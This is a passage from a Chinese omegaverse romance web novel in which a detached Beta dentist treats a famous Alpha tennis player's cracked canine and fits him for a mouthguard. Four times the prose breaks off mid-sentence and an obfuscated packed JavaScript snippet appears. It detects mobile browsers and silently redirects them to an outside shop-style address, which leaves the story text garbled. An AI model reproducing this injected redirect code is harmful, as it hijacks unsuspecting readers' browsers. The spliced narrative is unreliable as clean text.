“裂纹的走向和受力特征很明显表明它是横向的冲击裂纹。”他将转椅稍微转动了一下,目光落在艾利欧的右侧脸颊上。那里皮肤光洁,没有任何明显的伤痕。 “横向裂纹并伴随釉质表层轻微的星芒状碎裂痕,这是典型的侧面遭受瞬时撞击的结果。” 他怎么看一眼就知道是撞的? 艾利欧张嘴想要反驳,苏琼林却没给他组织语言的机会:“最近一周内,右侧面部是否有过撞击史?” 艾利欧喉结滚动了一下。 上周高强度训练时,搭档一个反手抽击失误,球拍尾部确实蹭到了他的右脸。当时他也没太在意,毕竟训练中磕磕碰碰太正常了。 直到后来,他发现用右边牙齿咬东西时会隐隐作痛,尤其是在发力时,那种尖锐的酸痛感让他有点难以忍受。这才发现,应该是牙齿出了问题。 这对一个顶级Alpha运动员来说,简直是双重打击。 既可能影响比赛发挥,更关乎Alpha最根本的尊严。他第一时间联系了团队医生,团队医生把他推荐到这里来。 他原本打算含糊其辞,保住自己作为网坛巨星和S级Alpha的面子。毕竟身为顶尖网球选手却被球拍打伤标记牙这种事,说出去实在太蠢,太不符合他的形象。 可他万万没想到,这个看起来冷淡又年轻的Beta医生,居然简简单单地就戳穿了他的谎言。 诊疗室里陷入一片死寂,消毒水的味道变得格外清晰。 艾利欧感觉自己的脸颊有点发烫。 “也许……也许是标记的时候不小心磕到了?”艾利欧试图做最后的挣扎,声音有点干巴巴的。 苏琼林终于彻底转过身,正面看向他。他坐在转椅上,需要仰着头才能对上艾利欧的视线,但气势上却没有丝毫逊色。 “磕到?”苏琼林重复了一遍,眉头微微皱了起来,“标记时,Alpha和Omega的体位通常高度契合,且有Omega后颈作为天然的缓冲。需要多大的巧合和多么诡异的姿势,才能让Alpha的犬牙磕出这种横向的撞击伤?” 他微微偏头,目光扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696198|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾利欧左侧脸颊上那个若隐若现的小梨涡。 “而且,根据裂纹的新旧程度和牙髓反应判断,受伤时间至少在一周以上,但你主诉标记疼痛只有五天。”苏琼林一针见血,“时间对不上。卢茨先生,病因直接决定治疗方案。隐瞒病史或提供错误信息,只会导致误诊,浪费彼此时间,增加不必要的风险。” 他的话没有提高音调,也没有指责。但正是这种理性客观,比任何其他语言都更让艾利欧感到难堪。 空气里,那股原本收敛得很好的S级Alpha信息素,再次因主人情绪的波动而有些失控地弥漫开来。像烈日下被炙烤的雪松,干燥、热烈,带着极强的侵略性和压迫感,几乎要填满整个诊疗室。 若是Omega在此,恐怕早已腿软心悸。即便是Beta,也会感到明显的生理不适。 小周在门外大概都感知到了什么,担忧地朝门口方向望了一眼。 然而,处于这信息素漩涡中心的苏琼林,却连眉梢都没动一下。 他只是看着艾利欧,甚至还有闲心抬手,从容不迫地清理了一下旁边的器械台。 然后,他重新将目光投向艾利欧,那双黑色的眼睛冷静得令人心惊。 “所以,”苏琼林总结陈词,“是运动外伤。对吧?” 艾利欧站在原地看着苏琼林,看着对方那副冷静到近乎冷漠的神情,看着他那双仿佛能洞穿一切的眼睛。 挫败、恼怒、惊异,混杂在一起,冲击着他一贯的骄傲和掌控感。 他虽不是很在意但却与生俱来的气场、魅力、甚至是S级Alpha的生理威慑,在这个小小的诊疗室里,在这个穿着白大褂的医生面前,全部失效了。 “你知道我是谁吧?”艾利欧再次尝试着掌握主动权。 苏医生面无表情:“知道。犬牙釉质裂纹患者。” 诊疗室里又陷入了沉默。 最终,艾利欧深吸了一口气,又缓缓吐出。 他肩膀微微松弛下来,那弥漫在空气中的强烈信息素也如同潮水般缓缓退去,重新被他收敛起来。 对方不在乎他是谁,不在乎他有多强大,也不在乎他的信息素有多浓烈。 他抬手,有些烦躁地揉了揉自己那一头耀眼的金发,发丝都被他揉乱了。 “好吧,”他开口,声音比平时低沉了些,带着点不易察觉的尴尬,“你说得对,是训练时不小心被球拍扫到了侧面。” 他顿了顿,有点难以启齿,但既然都开口说了,也没必要继续隐瞒:“是上周的事。当时觉得只是脸颊有点麻,没在意。后来吃东西、咬合用力时才开始疼。”他下意识用舌尖顶了顶那颗作痛的犬牙,“至于标记……” 他停顿了一下,似乎在斟酌措辞。 苏琼林安静地等着,没有催促。 艾利欧瞥了他一眼,看到对方那副“继续交代,我听着”的平静表情,心里那点微妙的别扭又升了起来。 他移开视线,看向旁边冰冷的器械柜。 “我还没进行过永久标记。”艾利欧说完,感觉耳根有点发热,“就是痛的时候有点担心,设想一下而已,毕竟这是标记牙。” 他想让语气变得轻松一点,甚至想耸耸肩,但动作做到一半又觉得有点傻,硬生生停住了。 老天,在第一次见面的医生面前承认没有标记过人?而且还推翻之前说的话? 他艾利欧·卢茨这辈子都没这么尴尬过。 5. 掌控与被掌控 苏琼林听完艾利欧那番磕磕绊绊的解释,脸上连眉毛都没动一下,只是微微颔首,修长的手指在键盘上敲下一行字:“犬牙裂纹系运动外伤导致。” 还算老实,问一次就招了。 他心里比较满意。 比起那些需要连哄带吓才会说实话的病人,这个Alpha虽然起初试图隐瞒,但最终选择配合,至少不浪费他时间。 不过…… 没必要特意强调自己没标记过吧? 苏琼林的思维忍不住跑偏了半秒。 不过,没标记过不等于就是…… 不对,没标记过也不等于就是…… 咳。 他及时刹住车,强迫自己专注于医疗记录。 在这个世界里,标记行为确实与牙齿功能直接相关,患者提起这方面情况属于合理范畴。 他又冷静地将“无永久标记史”录入艾利欧的电子病历。 “明白了。”他集中精神,拿起内线电话,“小周,带卢茨先生去CT室,拍右侧上颌犬牙显微CT,三维重建,数据直接传过来。” 放下电话,他才抬眼看向艾利欧,“裂纹的具体情况我需要更精确的影像。这里的设备分辨率不够,隔壁的显微CT更清晰。” 艾利欧几乎是迫不及待地站起身,动作间带着运动选手特有的敏捷与力量感。 能暂时逃离这个让他尴尬的空间现在对他来说简直是一种解脱。 “行。”他答得干脆利落,没有任何纠缠。 刚才苏琼林提到的“裂纹“还是让他心里有些发毛。 来这儿之前,队医初诊时其实也说过“这位置太棘手,恐怕得拔掉做种植牙”,他之前一直克制自己不去想,现在那句话却像诅咒一样萦绕不去。 不过也正是这份隐隐的担忧,让他听从了队医的建议来了这家据说在“犬牙”问题上颇有建树、别称“生殖辅助科”的牙科诊所。 跟着小周穿过安静的走廊,艾利欧的步伐依旧从容自信,但若有心人仔细观察,就能发现他的下颌线比刚才绷得更紧了些。 他的牙齿一直保护得不错,除了幼年时的经历和必要的牙齿清洁以外,他对牙科几乎一无所知。 但他熟识的一位网球选手就曾拔牙重新种植过,那颗天价种植牙的效果听起来光鲜,但他也曾听对方抱怨过咀嚼时的不适感,甚至偶尔的信息素还会溢出失控,听起来并不怎么好用。 要是他这颗牙也得拔了…… 标记什么的暂且不论,反正他暂时也没想过,但艾利欧根本无法想象在赛场上,用一颗种植牙全力咬合发力会是什么感觉。而且有可能信息素还会不受控制地泄露出来,那简直是对他职业生涯的嘲讽。 身为S级Alpha,他可不是靠信息素才取得现在在网坛的地位的。 躺上CT机,艾利欧闭上眼,心一横。 要是这个冷面医生也说要拔,他立刻就走人,哪怕包机回去找专家也行! 虽然来回会花更多的时间,甚至有可能影响到接下来在赛场上的发挥,但这毕竟是更长远的考虑。 再次回到诊疗室,艾利欧沉默地坐回诊疗椅,目光却不由自主地紧锁在苏琼林专注的侧脸上,试图从那副波澜不惊的表情中读出什么征兆。 苏琼林握着鼠标,将三维牙模反复旋转、放大、测量,完全沉浸在自己的专业世界里,根本没有给艾利欧任何眼神。 诊室里只剩下仪器低沉的运行声和两人轻微的呼吸声。 终于,在艾利欧几乎要按捺不住时,苏琼林抬头了。 “裂纹很深,已经非常接近牙神经了。”医生的声音很平静。 艾利欧的心却直接沉到了谷底。 很深?就是很糟的意思吧! 来了来了,最终判决—— “而且离信息素导管的开口异常接近,几乎没有安全距离。” 这是更糟糕的意思? 艾利欧呼吸一滞,手臂不自觉地绷紧。 虽说他目前没有想标记的对象,虽说种植牙据说也能完成标记,虽说他现在更想解决的是比赛用力时牙痛的问题…… 但他毕竟是个S级Alpha。 S级Alpha有一颗假牙?光是想想就让他脊背发凉。 可能会让他脸面丢尽的“不要拔牙”的恳求几乎已经到了嘴边—— “因此,常规的补牙方法风险极高,极易损伤牙神经或影响导管功能。”苏琼林接着说,似乎完全没注意到艾利欧近乎绝望的表情,“而且这里,”苏琼林用眼神示意艾利欧过来看,等对方在自己身后站定时,用鼠标光圈点在三维影像上一个隐蔽的拐角处,“这里很可能还存在肉眼不可见的微裂纹,普通检查手段无法发现。” “那……怎么办?”艾利欧的声音有些发干,左脸上那个常带着笑意的梨涡早已消失不见。 只是被球拍碰了一下,怎么会严重到这种地步?如果队医不说的话,他痛起来吃点止痛药也不是不行。 要不是有巡回赛,他又很重视每一场比赛,艾利欧在听完苏琼林的话之后立马就想离开去找更权威的专家了。 苏琼林没有卖关子,直接抛出方案:“我建议分两个阶段处理。今天先制作一个临时保护罩,覆盖裂纹区域,防止它进一步扩展或导致牙体劈裂。同时,为你取模,定制一个完全贴合你牙弓和咬合特点的专用运动护齿,最大限度吸收和分散冲击力。” 嗯?不是立刻拔牙? 艾利欧湛蓝色的眼睛微微睁大,目光灼灼地叮嘱苏琼林。 “之后呢?”他追问,身体不自觉地前倾。 有原装的谁想要假的?这是人类的本能。 “在你忙完后,回来接受彻底的修复治疗。”苏琼林还记得眼前的Alpha之前说他他最近有点忙,他往后靠了靠,尽职地解释,“那时需要预留更充足的时间,在牙科手术显微镜下进行精细操作。很可能需要采用嵌体修复或者部分冠修复技术,才能确保长期的稳定性和功能,并且从结构上完全避开重要的神经和导管。” 他看着艾利欧,眼神冷静,却令人信服:“这意味着你至少还需要两到三次复诊,并且术后需要严格遵循特定的注意事项。这个治疗方案,风险可控,目标是保留你的原生牙齿。你能接受并配合吗?” 不能配合的话,拔牙后做种植牙的方案他也不是不能做。但这种简单粗暴的方式,从来不符合他的哲学。毕竟这种治疗方式,随便换个诊所都能做。 能!当然能! 艾利欧几乎是在瞬间就做出了决断。 苏琼林说的那一大串专业术语,以他的中文水平其实没完全听懂,但“保留原生牙齿”这几个字他听得清清楚楚。 也许这问题并不像队医说的那么绝望? 艾利欧的想法一变再变,完全没意识到一向控场自如的自己,在整个诊疗过程中都在被面前这个Beta牙医牵着鼻子走。 “我接受。”他语气果断,属于S级Alpha的强势不经意间流露出来,他微微勾起嘴角,左边脸颊的小梨涡重新浮现,眼神却带着一丝锐利,“医生,你确定能保住它,对吧?” 话语里的潜台词很明显:承诺了,就要做到。 如果承诺了又做不到,他会让这个冷静过头的医生知道后果。 苏琼林对上他的视线,眼神没有丝毫闪躲。 “在我的专业领域,我从不说没有把握的话。”他的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696199|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平稳却带着不容置疑的权威,“保留原生牙并恢复其功能是第一目标。” “既然同意了,那现在就开始吧。” 他站起身,重新戴上手套,示意艾利欧躺回治疗椅。“张嘴,保持稳定,不要动。” 高速牙科手机的嗡鸣声再次响起,艾利欧配合地张开嘴,暖白色的无影灯光打下来,将他的口腔内部照得清晰无比。 操作过程中,苏琼林的手指偶尔会碰到艾利欧的下唇,触感隔着手套,干燥而稳定。 艾利欧注意到,即便靠得如此之近,对方的呼吸频率都没有丝毫变化,完全不受自己的任何影响。 医生地每一个动作都干净利落,没有丝毫犹豫和多余,显示出他冷静而强大的掌控力。 而艾利欧自己则因为长时间保持张口,下颌肌肉产生了一丝难以察觉的细微颤抖。 几乎就在同时,苏琼林戴着手套的左手就迅速扶住了他的下颌,指尖力度恰到好处,既起到了稳固作用,又不会让人感到不适。 “别动。”他的声音很低,几乎融在设备的嗡鸣声中。 艾利欧瞬间屏住了呼吸,因为这种突如其来完全被掌控的感觉。 他,艾利欧·卢茨,习惯了在赛场上掌控节奏、用力量、气势和技巧压迫对手的S级Alpha,此刻被一个Beta医生用一个简单的动作和两个字命令了。 在那双近在咫尺的黑眸地注视下,他引以为傲的一切光环似乎都失效了。 这种服从感陌生而奇异,混合着被全然掌控的微妙抗拒,让他心中忍不住有些战栗。 苏琼林似乎并未察觉艾利欧内心的波澜,确认他稳定后,便继续专注地进行后续步骤。 终于,苏琼林关闭设备,摘下了放大镜和手套。 “可以了,现在试试咬合感怎么样?”他关闭设备。 艾利欧小心地活动下颌,“没有不适感。” 他客观评价,随后绽放出一个灿烂的笑容,瞬间驱散了所有阴霾。 艾利欧坐起身,接过苏琼林递来的水杯漱了口,然后又小心翼翼地用牙齿叩击了几下。 “好多了!”他有些惊喜,又用力试了试,“酸疼感不明显了,感觉也很结实。” 那笑容太过耀眼,连空气中的信息素都仿佛变得明亮了几分。 苏琼林瞧着正着,正在收拾器械的手几不可查地顿了一下。 他移开视线,一如既往地开始泼冷水:“这只是临时措施。材料强度有限,并非一劳永逸,不要用它啃咬硬物。” 他强调,同时开始取模制作护齿。 全部完成后,艾利欧能感觉到牙齿被覆盖的异物感,但之前那种细微的疼痛已经消失。 “护齿两天后试戴。临时罩子能维持一到两周。你忙完后要尽快预约下次复诊。”苏琼林记录着病历,言简意赅。 “明白。“艾利欧利落地起身,却没立刻离开。 他站在那儿,目光落在苏琼林身上,像是在衡量什么。 苏琼林记录完毕,微一颔首,目光已经转向屏幕。 艾利欧走到门口,手握上门把,却又回头。 “苏医生,下次复查,还是你亲自动手,对吧?” 苏琼林敲击键盘的手指停顿了一瞬,他抬眼,对上艾利欧灼灼的目光。 我还能让自己的病人跑了不成?被我接待过的病人,就没再流失过。 “当然。”他面无表情,“你归我管。” 艾利欧脸上的笑容加深了,左边那个小梨涡清晰可见。 “很好。”他满意地点头,“那就下次见了。” 艾利欧带上门,站在走廊上,下意识用舌尖顶了顶那颗被妥善保护起来的牙齿。 6. 苏医生的控场 艾利欧·卢茨的复诊预约在初诊后的第二天下午。 苏琼林看着日程表上的这个名字,才想起他还有这么个病人。 毕竟,他每天的生活都按部就班。看诊、研究病例、精进技术,消毒水的气味和器械冰冷的触感是他工作时间的主旋律。那个金发耀眼的S级Alpha,于他而言,不过是众多疑难病例之一。 那天送走那位金光闪闪、脾气似乎比个头稍小那么一点点的S级Alpha患者后,诊所里短暂地恢复了它应有的的宁静。 小周收拾完诊疗室,脸上的表情兴奋又克制,叽叽喳喳地说着“卢茨先生真人比照片上还要耀眼”、“信息素虽然吓人但笑起来真的好帅”之类的话。 苏琼林嗯啊地应付着,专业领域之外的事情,他通常左耳进右耳出。 而且不跟病人产生除了医患关系以外的情绪,也是做医生的职业道德,虽然在这个几乎人人都恋爱脑的世界并不存在这种道德。 不过,也许是艾利欧·卢茨那种“全世界都该认识我”的自信太过突出,又或者是他试图隐瞒伤情却被自己毫不留情戳穿时那瞬间的错愕与尴尬有点过于鲜活,总之,在当天晚上临睡前,苏琼林鬼使神差地在手机的搜索引擎里输入了“艾利欧·卢茨”这个名字。 然后他就被铺天盖地的信息淹没了。 网球巨星、史上最年轻的全满贯得主之一、S级Alpha、连续多年被评为“最具吸引力Alpha”榜首、代言费天文数字、全球粉丝无数…… 视频里,他在赛场上奔跑击球,汗水挥洒,金发如同燃烧的太阳,每一个动作都充满了力量与美感,赢得胜利后对着观众席展露的笑容极具感染力,隔着屏幕都能感受到那股蓬勃的生命力和自信。 确实很耀眼,耀眼得当初他的诊疗室都应该蓬荜生辉的感觉。 苏琼林客观地评价。 这模样,跟他诊疗室里那个因为牙痛而皱眉、被戳穿谎言后耳根发红、最后不得不乖乖张嘴接受治疗的“犬牙釉质裂纹患者”,几乎是两个人。 不过,苏琼林的关注点更多地落在了几个特写上。那些捕捉到艾利欧发球或大力击球瞬间的镜头中,金发Alpha面部肌肉因发力而紧绷,口唇微张,能隐约看到洁白的牙齿。 嗯,咬合发力模式确实对牙齿负担很大,尤其是犬牙区域。 看来定制专用运动护齿真的非常必要。 至于那些关于他有多少狂热Omega粉丝、信息素被媒体形容为“烈日雪松”、以及场外花边新闻的报道,苏琼林一目十行地掠过,内心毫无波澜,甚至觉得有点吵闹。 …… 下午三点五十五分,诊所的门被准时推开。 今天艾利欧穿了一身纯黑色的运动服,衬得金发愈发耀眼,脸上戴着副宽大的墨镜,遮住了小半张脸,但挺拔的身形和走路的姿态依旧轻易吸引了所有目光,那股子蓬勃的生命力和S级Alpha特有的存在感依旧引人注目。 “下午好,苏医生。”他推开诊疗室的门,很自然地打招呼,嘴角挂着恰到好处的笑意,左边脸颊那个小梨涡若隐若现。 临时保护罩效果不错,训练和日常咀嚼时那股恼人的酸痛感基本消失了,也再没出现过信息素的泄露,这让他心情颇佳。 甚至来之前,他还特意想了想,今天该怎么跟那位冷面医生“过招”。 苏琼林已经穿戴整齐,白大褂、口罩、手套一丝不苟,正站在操作台前检查器械。听到动静,他转过头,目光平静地落在艾利欧身上,点了点头,算是打过招呼。 “嗯,请坐。” 态度冷淡得仿佛前两天根本没搜过人家资料一样。 还是这副调调。艾利欧心里啧了一声,从善如流地坐上那张让他记忆犹新的诊疗椅。 “感觉怎么样?临时罩子有松动或者不适吗?”苏琼林一边调节椅背角度,一边例行询问,声音透过口罩,显得有些闷。 “挺好,没掉,也不疼了。”艾利欧配合地张开嘴,让他检查,说话有点含混,“苏医生你的技术不错啊,早知道我该早点来。” 苏琼林没接这话茬,拿着口镜和探针,俯身开始检查。暖白色的无影灯光再次打在艾利欧脸上,他下意识地眯了眯眼。 “张嘴。” 艾利欧配合地张开嘴,露出经过临时保护罩处理的右侧犬牙。 冰凉的器械在口腔内小心移动,轻轻碰触着临时保护罩周围的区域。 艾利欧闲着也是闲着,目光就落在了苏琼林近在咫尺的脸上。 口罩遮住了大半,只能看到垂下的眼睫,很长,很密,在眼下投下一小片阴影。皮肤很白,靠近了看几乎没什么毛孔。额前有几缕黑色的碎发滑落,被他随意地往后捋了一下,没戴帽子。 苏医生,意外的有些“俊秀”啊。 艾利欧脑子里莫名冒出这个词。 “别动。”苏琼林忽然出声,打断了他的打量。同时,一只手扶住了他的下颌,力道稳定,防止他因为走神而移动。 艾利欧瞬间定住。 又是这种不容置疑的掌控感。 虽然才第二次跟苏医生相处,但他发现自己好像……有点习惯了? 检查似乎暂时告一段落,苏琼林直起身,在病历上记录着什么。 苏医生有时候用病历本,有时候又用电脑记录电子病历,真是很难猜他的偏好呢。 不过,艾利欧觉得这是个机会。 他清了清嗓子,决定主动打破沉默。 毕竟,他可是艾利欧·卢茨,还没在谁面前连续冷场过两次。 “苏医生,”他调整了一下表情,让自己看起来更轻松随意,左侧脸上的小梨涡也露了出来,“你对所有Alpha病人都这么,嗯,严格的吗?” 他本想用“冷淡”或者“惜字如金”,但临到嘴边换成了听起来稍显正面的“严格”。 苏琼林正在写字的手没停,头也没抬,声音透过口罩传来:“分人。” 艾利欧眉梢一挑,来了点兴趣: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696200|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦?怎么分?” 难道自己是特殊的?苏医生对待其他病人其实是平易近人的吗? 苏琼林写完最后几个字,放下笔,终于抬眼看他,黑色的眸子清凌凌的,没有任何情绪:“看患者是否配合治疗,以及是否隐瞒病情。” “……” 艾利欧瞬间被噎了一下,左边脸颊的梨涡都僵住了。 好吧,是在点他第一次来的时候试图用“标记痛”掩盖“运动伤”的事。但那都已经过去了,不是吗? 他摸了摸鼻子,有点讪讪,但很快又重整旗鼓。 网球场上的王者可不会因为一次回球下网就放弃进攻,碰到势均力敌的对手,打到抢七也是常有的事。 “上次是意外。”他耸耸肩,倒像是个外国人了,“我保证这次绝对配合。对了,戴上那个临时罩子之后,感觉确实好多了,训练时发力都顺畅了不少。” 他微微扬起下巴,像是等待夸奖的大型犬。 看,我不仅配合,还有积极反馈呢。 哈?临时保护罩怎么可能让你发力顺畅?这又不是什么运动增幅器。 苏琼林似乎终于对他的话产生了点反应。 他转过身,正面看向艾利欧,目光在他脸上扫了一圈,最后定格在他的嘴唇附近。 艾利欧心下微动,有效果?但他为什么看我的嘴,虽然是有八卦杂志提过他的唇形很适合接吻,但苏医生明显不是这种人。 苏医生当然不是这种人。 苏琼林那冷静的声音很快就再次响起,不是夸奖,而是提问:“最近一次摄入刺激性食物是什么时候?是辛辣?还是酒精?” “啊?”艾利欧一时没反应过来。 苏琼林用探针的尾部虚点了一下自己唇角的对应位置:“你右侧牙龈靠近颊侧的位置有轻微红肿,比上次明显,这通常是刺激性食物或酒精摄入后的局部反应。” 他顿了顿:“昨晚吃的?还是今天的午餐?” 艾利欧脸上的笑容彻底维持不住了。 他昨晚确实和团队聚餐,没忍住吃了点招牌的辣味烤肉,还喝了两杯…… 这家伙是牙医还是侦探?!这都能看出来? 被当面戳破没有忌口,尤其还是在自己刚刚自夸会绝对配合之后,艾利欧感觉脸颊有点发烫。 他下意识想辩解,比如“只吃了一点”、“队友非要劝酒”,但在苏琼林那双仿佛能看透一切的黑眸注视下,所有借口都显得苍白无力。 他堂堂网坛巨星,S级Alpha,什么时候这么憋屈过? “就微微辣,和一点点酒。”最终,他只能闷声承认。 他是外国人,不懂中国文化中的忌口不是很正常吗? “临时罩子只是保护性措施,不是金钟罩。”苏琼林面无表情地盯着他,“你没用它咬硬物吧?” 所以,他看起来像是会拿牙去开啤酒瓶的人吗?! 艾利欧终于还是忍不住顶了一句:“苏医生,我的食谱里没有石头。” 7. 幽默的苏医生 呵,很幽默吗? 苏琼林顿住,抬眼看他,黑色的眸子十分沉静:“硬物包括但不限于坚果、硬糖、冰块、未完全煮熟的肉类、以及某些过于坚韧的面包皮。需要我列个详细清单吗?” 艾利欧:“……不用了,谢谢。” 他挫败地抹了把脸。 那点因“罪行”被戳破而升起的小小不服,连同预备迎接更多“毒舌”点评的心理建设,霎时落了个空。他准备好的关于中西饮食文化差异的狡辩说辞,全都噎在喉咙里。 行吧,他悻悻地想。 这家伙……该不会是根本听不懂幽默吧?总不至于是故意的。 艾利欧望着苏琼林挺拔而冷淡的背影,心里那点不服输的劲头又悄悄钻了出来。 在球场上,他可不是会轻易放弃的人。 这时,小周端着托盘走了进来,里面的东西透着淡淡的粉色。 “卢茨先生,您的运动护齿套会专门定制哦。”小周微笑,“苏医生特意调整了材料配比,既保证缓冲性能,又尽量不影响您的咬合感和透气性。” 艾利欧的注意力被吸引过去,但他没看到护齿套,只看到小周手中托盘里的粉色膏体:“哦?苏医生亲自调的?” “那当然,”小周用力点头,没留意到苏医生瞥来的冷淡眼神,“苏医生对您的病例很上心,反复确认数据呢。说您是运动员,发力方式特殊,标准成品可能不合适。” 艾利欧闻言,嘴角不由自主地扬起,左侧脸颊那个小梨涡又清晰地陷了下去。他抬眼看向正在检查护齿边缘光滑度的苏琼林,湛蓝色的眼睛里闪着愉悦的光。 “原来苏医生私下为我花了这么多心思?”他语调上扬,带着点故意的调侃,“真是受宠若惊。” 苏琼林连眼皮都没抬,直接接过了小周手里的托盘。 “分内之事。”他声音透过口罩传来,平直无波,“张嘴,取模。” 啧!又是这副公事公办的态度! 艾利欧认命地仰头,依言张大了嘴。 那淡粉色的膏体看着温和,但一旦被苏琼林稳准快地塞进他嘴里,压在上颌牙弓上时,瞬间袭来的冰凉触感和强烈异物感还是让艾利欧喉结一滚。 他下意识地想干呕。 “用鼻子呼吸。”苏琼林的声音及时响起,“放松舌根,别抵抗。” 他的手指隔着薄薄手套,施加着恰到好处的压力,确保材料完美包裹每一颗牙齿的轮廓。 艾利欧努力照做,将注意力从不适感上移开,目光只好又落回苏琼林脸上。 这么近的距离,他几乎能数清对方低垂的睫毛。 苏琼林的呼吸很轻,也很稳,频率丝毫未因此刻略显别扭的姿势而改变。几缕发丝滑落额角,他也全然不在意。 艾利欧发现自己竟在观察对方的手。 透过乳胶手套,能隐约感受到医生指骨的力量和稳定。 他有点走神地想,如果苏医生去打网球,控球能力一定很变态。 取模过程其实很快,但在艾利欧的感觉里,因不能乱动又必须完全服从指令,时间仿佛被拉长了些。 终于,取模结束。苏琼林检查了一下印模的完整性,点了点头:“可以了。漱口。” 艾利欧如蒙大赦,赶紧坐起身,接过小周递来的水杯,大口漱掉嘴里那股难以形容的味道。 “这感觉可真够怪的。”他忍不住吐槽,用舌尖舔过牙面,感觉还有点残留的粉腻感。 “正常。”苏琼林正在清理器械和印模,头也不抬,“护齿制作需要时间,你可以去外面等待区休息。” “我就在这儿等。”艾利欧几乎是立刻接口。 等待区虽舒适,却无聊。他觉得待在这儿观察这位冷面医生的工作状态,要有趣得多。 苏琼林对此不置可否,只专注地操作电脑,开始设计护齿参数。屏幕上展示着艾利欧牙齿的三维模型,被他放大、旋转,进行着各种艾利欧看不懂的精细调整。 艾利欧百无聊赖地靠在诊疗椅上,目光逡巡一圈,最后还是落回苏琼林身上。 他看着那双手在键盘上快速敲击,看着那副认真的侧脸,忽然又有点不甘心就这么冷场。 他清了清嗓子,换了个自以为更安全的话题:“苏医生,你做这行多久了?” 苏琼林回答得言简意赅:“有些年了。” “……” 艾利欧被这万能敷衍句式堵了回来。 他不死心,又追问:“我看你技术很好,比我见过的很多牙医都好。” 尽管他除了小时候,其实并没见过几个牙医。 “技术是练出来的。”苏琼林回答,随后又补上一句,直接将天聊死,“与其关心这个,不如想想怎么严格遵守接下来的注意事项。” 又来了! 三句不离本行! 还能不能愉快地聊天了! 艾利欧有点气闷,却又莫名觉得……挺带劲。 这种完全不被外界干扰的绝对专注,某种程度上,跟他还挺像的。 但正因为这样…… 他摸了摸下巴,决定再试一次,这次单刀直入:“苏医生,你平时有什么爱好吗?比如说,看网球吗?” 苏医生确实冷淡,但万一呢?说不定他刚好是自己的球迷,只是面对偶像时放不开而已。 苏琼林正在保存文件,闻言动作顿了一下,像是认真思考了一瞬,然后回答:“不看。” “……” 艾利欧听到自己心里那点小期待“啪嚓”碎裂的轻响。 “运动太费劲。”苏琼林又淡淡地补充了一句,算是解释了缘由。 费劲?!网球比赛那是激情!是活力!是力量的碰撞!他居然用“太费劲”来形容? 艾利欧张了张嘴,想为自己的职业辩护几句,但在面对苏琼林那张理所当然的冷脸时,彻底放弃。 好吧,看来在苏医生这里,他艾利欧·卢茨就仅仅是“犬牙釉质裂纹患者艾利欧·卢茨”,除此之外,什么网坛巨星、S级Alpha、全球偶像……统统不存在。 正当他琢磨着是否该安静等待时,苏琼林却主动开口了。 他打印出一张单子,递给艾利欧。 “护齿使用和维护须知。”他示意艾利欧看,“尤其是清洁部分,每次使用后必须彻底清洗,避免细菌滋生。绝对不可以用热水烫洗。” 艾利欧接过单子,扫了一眼,上面条条框框列得很详细。 他正看着,就听苏琼林又没什么情绪地加了一句: “也别用它开啤酒瓶。” 艾利欧猛地抬头,看向苏琼林。 对方已经转回身继续忙碌,只留给他一个背影,仿佛刚才那句带着些许调侃意味的话不是出自他口。 艾利欧愣了两秒,嘴角控制不住地向上扬起。 哟?原来这位冷面医生还会说这种话?虽然冷得能冻死人,但这算是幽默感吗? 艾利欧觉得,这位苏医生似乎比第一印象要有趣那么一点点。 就一点点。 这时,小周拿着制作好的护齿走了进来,透明的材质,看着很精致。“卢茨先生,您的护齿好了。” 苏琼林接过护齿,再次示意艾利欧张嘴,亲自为他试戴。 冰凉的护齿嵌入牙弓,需要一点点力度才能完全就位。苏琼林的手指不可避免地再次碰到他的嘴唇和脸颊。 “感觉怎么样?”苏琼林问,仔细观察着他的表情。 “嗯……”艾利欧感受了一下,尝试着做了几个空咬合的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696201|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作,“还不错,比想象中舒服,也挺贴合。” “试着说句话。” 